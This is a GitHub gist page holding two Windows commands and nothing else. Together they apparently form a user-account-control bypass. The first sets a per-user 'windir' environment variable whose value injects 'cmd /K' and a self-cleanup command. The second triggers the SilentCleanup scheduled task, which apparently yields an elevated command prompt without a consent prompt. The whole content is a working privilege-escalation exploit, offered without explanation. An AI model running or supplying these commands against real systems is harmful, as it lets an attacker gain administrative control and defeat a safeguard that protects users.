Skip to content

Instantly share code, notes, and snippets.

@tyranid
Created May 15, 2017 22:01
Show Gist options
  • Save tyranid/729b334bf9dc0f38184dbd47ae3f52d0 to your computer and use it in GitHub Desktop.
Save tyranid/729b334bf9dc0f38184dbd47ae3f52d0 to your computer and use it in GitHub Desktop.
reg add hkcu\Environment /v windir /d "cmd /K reg delete hkcu\Environment /v windir /f && REM "
schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment